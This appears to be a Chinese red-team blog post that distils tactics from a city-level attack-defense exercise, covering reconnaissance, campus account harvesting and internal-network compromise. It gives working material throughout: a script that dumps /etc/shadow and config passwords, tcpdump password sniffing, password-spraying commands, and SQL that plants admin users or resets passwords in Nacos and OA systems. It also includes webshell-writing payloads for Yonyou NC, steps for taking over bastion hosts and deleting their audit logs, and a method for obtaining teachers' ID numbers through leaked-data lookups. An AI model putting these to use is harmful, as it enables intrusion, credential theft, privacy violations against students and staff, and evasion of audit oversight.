某地级市攻防技战术提炼

admin 2024年4月28日07:51:52评论10 views字数 12809阅读42分41秒阅读模式

信息收集:

0Day 储备:

这个就不用多说了,针对各行各业的一些通用系统进行收集挖掘0day,做好指纹探测(提取0day特征先探测是否存在漏洞或是否影响,避免蜜罐捕获),不管是rce还是各种低危漏洞在关键时刻打组合拳都能起到奇效。

源码收集方式及相关技巧可以参考:

  • 获取目标站源代码的几种方法讨论:https://forum.ywhack.com/thread-201972-1-1.html
  • 源码下载之OSS辅助:https://forum.ywhack.com/viewthread.php?tid=200961
  • https://forum.ywhack.com/thread-202745-1-1.html

行业相关:

针对一些行业的或者不太好打的目标可以试试:

  • 小程序/APP反编译提取各种IP、URL、接口等等;
  • Github/Gitlab、云盘等公开渠道搜集信息,代码、公司资料信息等等;
  • TG/SGK 搜索引擎获取邮箱,手机号等等;
  • 供应商,二三级单位,控股子公司等等;
  • 通用系统特征提取-拖源码-挖漏洞三部曲;
    • 大多数目标都是通过这种方式拿的代码直接搞目标。
  • C 段攻击,通过hunter或者fofa提取目标相关资产,计算哪些IP段资产较多:
    import sys
    from collections import defaultdict
    from ipaddress import ip_network, ip_address
    from prettytable import PrettyTable

    def get_c_network(ip):
        network = ip_network(ip)
        network = ip_network(f"{network.network_address}/24", strict=False)
        return str(network)

    def main():
        if len(sys.argv) != 2:
            print("Usage: python3 ip.py <file>")
            return
      
        filename = sys.argv[1]
      
        ip_dict = defaultdict(set)

        with open(filename, "r"as file:
            for line in file:
                ip = line.strip()
                c_network = get_c_network(ip)
                ip_dict[c_network].add(ip)
      
        sorted_ip_dict = dict(sorted(ip_dict.items(), key=lambda item: len(item[1]), reverse=True))
      
        table = PrettyTable(['IP段''IP数量'])
        table.align = 'l'
        table.align['IP数量'] = 'r'
        for k, v in sorted_ip_dict.items():
            ip_count = len(v)
            row_color = lambda text: f"33[91m{text}33[0m" if ip_count >= 5 else text
            table.add_row([row_color(k), row_color(ip_count)])

        print(table)

    if __name__ == "__main__":
        main()
某地级市攻防技战术提炼
file

学校EDU:

阶段一:学生账号获取

针对各种高校或者学校的收集,比如咸鱼租VPN账号,各种交友平台获取学号、上网账号等等,比如公开的信息,奖学金,获奖记录、Github上都能存在一些学生信息,学号之类的,一般密码都是身份证后六位或者一些较为简单点通用型密码,也可以在一些平台翻一下文件,比如新生入学文件,查看密码策略。

某地级市攻防技战术提炼
file

利用收集到的信息登录学校的一些系统找找能 shell 的点获取权限就比较简单了。

阶段二:其他师生账号获取

通过搜集到的学号和密码,尝试登录一些系统,如果有单点登录的话那更好。

某地级市攻防技战术提炼
file

一般职工或教师权限比较高访问的系统也比较多,找能 shell 的系统也比较轻松:

某地级市攻防技战术提炼
file

除此之外还可以登录一些系统做一些简单的测试,流量过一过burp,可以找到一些学号或者是身份证获取接口。

某地级市攻防技战术提炼
file

其他学生学号的获取一般来说可以在这些系统可能会找到,比如一些班级群组列表。

阶段三:教师账号获取

1.通过学生登录到的系统,看看能不能先获取到教师的工号。如果能获取工号,再尝试获取手机号,如果系统没办法直接拿到教师的身份证,那就通过手机号过一下社工库找身份证

某地级市攻防技战术提炼
file

2.通过系统的漏洞挖掘找到泄漏点,翻文件或者是翻照片

某地级市攻防技战术提炼
file
某地级市攻防技战术提炼
file

3.如果有一个老师的账号,尝试登录一些系统(比如某oa的通告文件,搜索一下)翻一下其他系统的密码策略,如果是有单点登录,查看点单登录的密码策略。

某地级市攻防技战术提炼
file
某地级市攻防技战术提炼
file

单点登录密码策略

某地级市攻防技战术提炼
file

可以看到账号策略为m+工号,密码为工号

进入系统可以看到当前用户身份证信息,结合之前的步骤,就可以获取任意教师的身份证

某地级市攻防技战术提炼
file

其他:

当然除了 Web 以及常规的代码审计外,针对一些高危端口的探测也是非常有必要的,比如Docker、Java RMI、elasticsearch、数据库等等端口,一些端口可能不在默认端口,可配合云函数或 masscan 等高效工具进行扫描:

ES 数据库未授权查看搜索:
_cat/indices?v
_search/?&pretty&size=100&q=password
_cat/indices?v&s=docs.count:desc
某地级市攻防技战术提炼
file
某地级市攻防技战术提炼
file

相关工具:

  • woodpecker-framework 一款漏洞精准检测深度利用框架

内网相关:

Host头碰撞:

内网中的 host 头碰撞在寻找靶标或者重要的系统是非常方便的,本次比赛中利用 host 碰撞拿了几个靶标 某地级市攻防技战术提炼

某地级市攻防技战术提炼
file
某地级市攻防技战术提炼
file
某地级市攻防技战术提炼
file

一些 Github 上的 Host 头碰撞工具:

  • https://github.com/cyal1/host_scan
  • https://github.com/fofapro/Hosts_scan

基础设施免杀:

免杀就不多说了,各种语言的 Webshell 、隧道等等。

CS 马以及各种工具免杀、去特征..没有免杀能力的可以找找 Github 一些开源免杀工具,偶尔可以过一些杀软,比如火绒等..

哥斯拉上帝模式、天蝎等 Webshell 可过一些拦截;

内存加载 shellcode 执行.分离加载等等.

远程 oss 加载...

其他:

二开 fscan 集成更多功能(GSCAN):

  • 探测到 Nacos 后一键导出配置 gscan -m nacos -e export ,插入 NacOS密码
    INSERT INTO users ( username, PASSWORD, enabled )
    VALUES
        ( 'nacos1''$2a$10$SmtL5C6Gp2sLjBrhrx1vj.dJAbJLa4FiJYZsBb921/wfvKAmxKWyu', TRUE );
    INSERT INTO roles ( username, role )
    VALUES
        ( 'nacos1''ROLE_ADMIN' );

    //密码123
  • Host 头碰撞 gscan -m host -df domain.txt -i xx.xx.xx.xx
  • 简单的资产处理后输出 result.txt && vuln.txt
    • 提取 +[ssh] +[redis] +[rdp] +[MS17010]等等可利用的漏洞信息
    • IP/c_network/统计等...
  • 读取 IP:PORT 格式探测漏洞、Web 服务等;
  • 更多一键化的操作功能 - -

信息收集:

内网中的信息收集可以说是非常重要的,多网卡机器,各种配置文件,密码本,VPN,网络结构,集权设备等等... 过程需要有耐心,多翻翻多找找..多看看系统各种日志啥的:

echo "信息收集"
echo "账户信息收集 /etc/passwd" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat /etc/passwd | tee -a $filename
echo -e "n" | tee -a $filename
echo "/etc/shadow 影子文件查看" | tee -a $filename
cat /etc/shadow | tee -a $filename
echo -e "n" | tee -a $filename
echo "进程信息收集" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
ps aux | tee -a $filename
echo -e "n" | tee -a $filename
echo "网络连接" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
netstat -antlp | tee -a $filename
echo -e "n" | tee -a $filename
echo "当前用户:" $(whoami) 2>/dev/null | tee -a $filename
echo -e "--------------------------" | tee -a $filename
echo -e "n" | tee -a $filename
echo "端口监听" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
netstat -lnpt | tee -a $filename
echo -e "n" | tee -a $filename
echo "可登陆用户" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat /etc/passwd | grep -E -v 'sync$|halt$|nologin$|false|shutdown' | tee -a $filename
echo -e "n" | tee -a $filename
echo "增加用户的日志" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
grep "useradd" /var/log/secure  | tee -a $filename
echo -e "n" | tee -a $filename
echo "History操作提取" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat ~/.*history | tee -a $filename
echo -e "n" | tee -a $filename
echo "登录成功的IP,用户名,时间" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}' | sort | uniq -c | sort -nr | more | tee -a $filename   
echo -e "n" | tee -a $filename
echo "查看路由表" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
route -n | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看 SSH key" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
sshkey=${HOME}/.ssh/authorized_keys
if [ -e "${sshkey}" ]; then
    cat ${sshkey} | tee -a $filename
else
    echo -e "SSH key文件不存在n" | tee -a $filename
fi
echo -e "n" | tee -a $filename
echo "查看 known_hosts" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat ~/.ssh/known_hosts | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看 bash_history" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat ~/.bash_history | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看 mysql_history" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat ~/.mysql_history | tee -a $filename
echo -e "n" | tee -a $filename
echo "查找WEB-INF" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
find / -name *.properties 2>/dev/null | grep WEB-INF | tee -a $filename
echo -e "n" | tee -a $filename
echo "user|pass|pwd|uname|login|db_" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
find / -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_" | tee -a $filename
echo -e "n" | tee -a $filename
echo "jdbc:|pass=|passwd=" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
find / -regex ".*.properties|.*.conf|.*.config|.*.sh" | xargs grep -E "=jdbc:|pass=|passwd=" | tee -a $filename
echo -e "n" | tee -a $filename
echo "配置文件" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
find / -regex ".*.xml|.*.properties|.*.conf|.*.config|.*.jsp" | xargs grep -E "setCipherKey" | tee -a $filename
echo "敏感信息" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
find / -regex ".*.properties|.*.conf|.*.config|.*.sh|.*.jsp|.*.log|.*.txt|.*.xml" | xargs grep -E "=jdbc:|pass=|passwd=|aliyun|password" | tee -a $filename
# Author cances
echo "ip和网卡信息" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
ip a | awk '{print $2,$4}' | tee -a $filename
echo -e "n" | tee -a $filename
echo "用户登陆日志" | tee -a $filename
lastlog | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看 hosts" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat /etc/hosts | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看 系统版本" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat /etc/*-release | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看 内核版本" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
uname -mrs | tee -a $filename
echo -e "n" | tee -a $filename
echo "查看 yum" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
cat /etc/yum.conf | tee -a $filename
echo -e "n" | tee -a $filename
echo "提取登录的IP" | tee -a $filename
echo -e "--------------------------" | tee -a $filename
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more | tee -a $filename

内网中的密码复用特别常见,或规律性密码,比如 password@2019password@2020password@2021等等..按照规律生成字典.

tcpdump 抓密码:

tcpdump -i any -s 0 -A -n -l |egrep -i "Host:|Authorization:|password:|password=" >/tmp/password

其他收集的各种配置文件密码都可以做成字典内网中碰撞:

find / -regex ".*.properties|.*.conf|.*.config|.*.sh|.*.jsp|.*.log|.*.txt|.*.xml" | xargs grep -E "=jdbc:|pass=|passwd=|aliyun|password"
  • cmdkey
  • 各种配置文件密码
  • mimikatz
  • 密码本等等...
  • 各种 hash session 文件等;

参考:https://forum.ywhack.com/rdexploit.php

宝塔:

默认入口:/www/server/panel/data/admin_path.pl
默认密码:/www/server/panel/default.pl
默认账号:python /www/server/panel/tools.py username
账号数据库:/www/server/panel/data/default.db
public.password_salt:/www/server/panel/class/public.py
某地级市攻防技战术提炼
file

参考:棱角社区-内网常见 SSH 工具/常见软件密码存储位置及解密方法

共享文件:

在 Windows 中可以丢个共享目录探测,有时候能获取不少好东西:

某地级市攻防技战术提炼
file

密码碰撞:

内网中的密码碰撞是刷分的常规操作了,不多说。

前期通过 Web 打点或者在各种系统/服务器中mimikatz抓的、翻到的密码及时整理出密码本,内网中 3389、redis、22、3306等各种需要密码操作的高危端口都可以碰撞一下:

./gscan -h xxx.xxx.xxx.xxx/24 -p 3389 -user administrator -pwdf pass.txt
./gscan -h xxx.xxx.xxx.xxx/24 -p 22,3306 -user root -pwdf pass.txt
./gscan -h xxx.xxx.xxx.xxx/24 -m web -nopoc -nobr
....

如果在 Windows 且没有各种杀软和 edr 设备的情况下直接上超级弱口令等等猛扫,见效快,缺点就是动静比较大,容易被发现。

某地级市攻防技战术提炼
file

K8S 集群:

内网中如果能碰到Kubernetes 一些集群且存在一些配置问题或漏洞的话直接接管所有容器,内网中的刷分利器。

一些优秀的工具和 k8s 渗透文章可以直接看下面:

一些工具:

  • https://github.com/etcd-io/etcd/releases
  • https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-macos/
  • https://github.com/cdk-team/CDK

一些文章:

某地级市攻防技战术提炼
file
某地级市攻防技战术提炼
file
某地级市攻防技战术提炼
file

其他:

CVE-2020-29564 Consul Docker images 空密码登录漏洞:

某地级市攻防技战术提炼
file

堡垒机:

本次遇到的几个堡垒机,3个堡垒机撸穿3个靶标,直接内网刷满,简单记录一下。

齐治堡垒机可以参考:https://forum.ywhack.com/viewthread.php?tid=200841

中远麒麟:

参考社区的漏洞分析:https://forum.ywhack.com/viewthread.php?tid=202495

漏洞利用:

SQL 注入获取用户明文密码 + 后台 RCE:

某地级市攻防技战术提炼
file

接管设备:

一般跑出 admin 用户密码后登录堡垒机可能没有直接 ssh 的权限,可以通过在资源管理,用户处添加绑定用户即可获得主机的远程权限:

某地级市攻防技战术提炼
file

在编辑处-绑定用户选择已获得权限的用户即可在 console 获取该主机的登录权限:

某地级市攻防技战术提炼
file

在绑定完用户后通过 ssh -p 22 堡垒机用户权限@堡垒机IP即可连接到堡垒机控制台,输入序号选择接管的主机:

某地级市攻防技战术提炼
file

Windows 同理,直接 rdp 3389 堡垒机 IP 即可,用户为堡垒机管理员用户或者获得权限的用户+密码:

某地级市攻防技战术提炼
file

日志清理:

以上通过堡垒机进行操作的过程都会被记录在操作审计中,如果有敏感操作可以通过如下方式进行清理:

首先需要获取 audit 审计用户权限,在日志删除处选择日期范围内的操作日志删除即可

某地级市攻防技战术提炼
file

优炫运维管理系统:

指纹识别:

oem 的设备:

body="/fort/login/checkCkeydyncCode.action"

Web 接管设备:

这套堡垒机与其他堡垒机不太一样,直接在 Web 系统内就可以利用保存账号密码单点登录进行接管,前提是需要安装系统自带的系统控件,且只能是 Windows:

某地级市攻防技战术提炼
file

Linux 设备需要安装 SecurityCRT 或者 XShell ,Windows 直接调用的本地 mstsc,安装好控件找到单点登录中能自动登录的系统直接连就行:

某地级市攻防技战术提炼
file

自动登录会自动连接堡垒机的 IP 3389 到内网:

某地级市攻防技战术提炼
file

操作记录在堡垒机审计可以查看,直接mimikatz抓密码 3389 登录就不会有记录,或ntlm hash操作也不会有记录.

另外如半自动登录或手动登录的需要输入密码,数据库内或堡垒机权限内有历史的连接的 session 应该可以找点东西..时间关系待研究。

配置文件+利用:

/usr/local/tomcat6/webapps/fort/
/usr/local/tomcat6/webapps/ROOT/  //网站根目录
/usr/local/tomcat7/webapps/scan/WEB-INF/classes/prop/jdbc.properties //数据库配置文件
某地级市攻防技战术提炼
file

用户名固定 fort ,密码随机。数据库名fort 用户表employee:

某地级市攻防技战术提炼
file

密码为 MD5 解密,不知道密码直接替换即可:

UPDATE `fort`.`employee` SET password = 'd5df2f626318151ce0d30926e20e3ca9' WHERE id = 23;
//密码 admin@123456

PIDSEC 帕拉迪:

指纹识别:

app="帕拉迪Core4A-UTM"

界面如下:

某地级市攻防技战术提炼
file

设备接管:

与麒麟堡垒机类似的操作,需要先分配用户权限:

某地级市攻防技战术提炼
file

分配好权限后通过 ssh 或者 rdp 远程到堡垒机的 IP 接管设备。

配置文件:

因目标应急关了堡垒机 - - 截图丢了,下次遇到了再补上。

通过堡垒机登录后可以尽快找一台出网的机器做好权限维持,避免因堡垒机挂了或者被应急关了导致权限丢失。

用友 NC:

用友nc默认数据库配置文件路径:

/home/NC65/ierp/bin/prop.xml
/ierp/sf/superadmin.xml
/ierp/sf/account.xml
/ierp/bin/prop.xml

shell:

Linux:
pwd 找路径
echo getshell:
"echo d2Vic2hlbGwgeHh4eHh4eHh4eHh4eHh4eA== | base64 -d > /ncapp/NC65/webapps/nc_web/update1.jsp"

Windows:
u0065u0078u0065u0063("cmd /c echo d2Vic2hlbGwgeHh4eHh4eHh4eHh4eHh4eA== > hotwebs\uapws\config.txt");
解码:
u0065u0078u0065u0063("cmd /c certutil -decode hotwebs\uapws\config.txt hotwebs\uapws\config.jsp");

//该工具会转义,dir时需要4个斜杠
java -jar nc6.5.jar http://x/ "echo ^<^%@page import=\"java.io.*\"^%^>^<^%if(request.getParameter(\"f\")!=null){FileOutputStream os=new FileOutputStream(application.getRealPath(\"/\")+request.getParameter(\"f\"));InputStream is=request.getInputStream();byte[] b=new byte[512];int n;while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();}^%^> > E:\\nc63_0630\\webapps\\nc_web\\zz.jsp"

在线 Win 转义:https://forum.ywhack.com/escape.php

其它:

有时候碰到负载均衡 Shell 时请求没办法写入全部后端的时候,偶尔写入只能写入部分或报错的情况,这个时候可以通过查看 Nginx 配置文件 upstream 指令是否存在一个群组只有一台后端 Server 的情况,找到路径写入就避免了负载均衡请求都需要等的情况了,比如这个:

某地级市攻防技战术提炼
file
某地级市攻防技战术提炼
file
某地级市攻防技战术提炼
file
某地级市攻防技战术提炼
file

通过找到PeBwH的 Web 路径直接写入就避免了多台后端 Server 的情况。

蓝凌(Landray) OA :

参考文章:

  • 蓝凌(Landray) OA 协同办公系统后利用过程

在线解密可以参考:https://forum.ywhack.com/decrypt.php

泛微 OA:

配置文件:

D:WeaverecologyWEB-INFpropweaver.properties

Linux:
直接 find grep 即可

用户表&管理表:

SELECT TOP 10 * FROM [ecology].dbo.[HrmResource]

泛微的 sysadmin 管理员用户保存的表为:HrmResourceManager
SELECT TOP 10 * FROM [ecology].dbo.[HrmResourceManager]

//替换密码:
C4CA4238A0B923820DCC509A6F75849B  = 1

UPDATE ecology.dbo.HrmResourceManager SET password = 'C4CA4238A0B923820DCC509A6F75849B';

万户 OA

万户 OA 的数据库配置文件地址为:

/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/classes/fc.properties

jboss 特性会将 war 包直接当做文件夹,所以可以直接读取下面的配置文件 - -

某地级市攻防技战术提炼
file

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月28日07:51:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某地级市攻防技战术提炼https://cn-sec.com/archives/2691900.html

发表评论

匿名网友 填写信息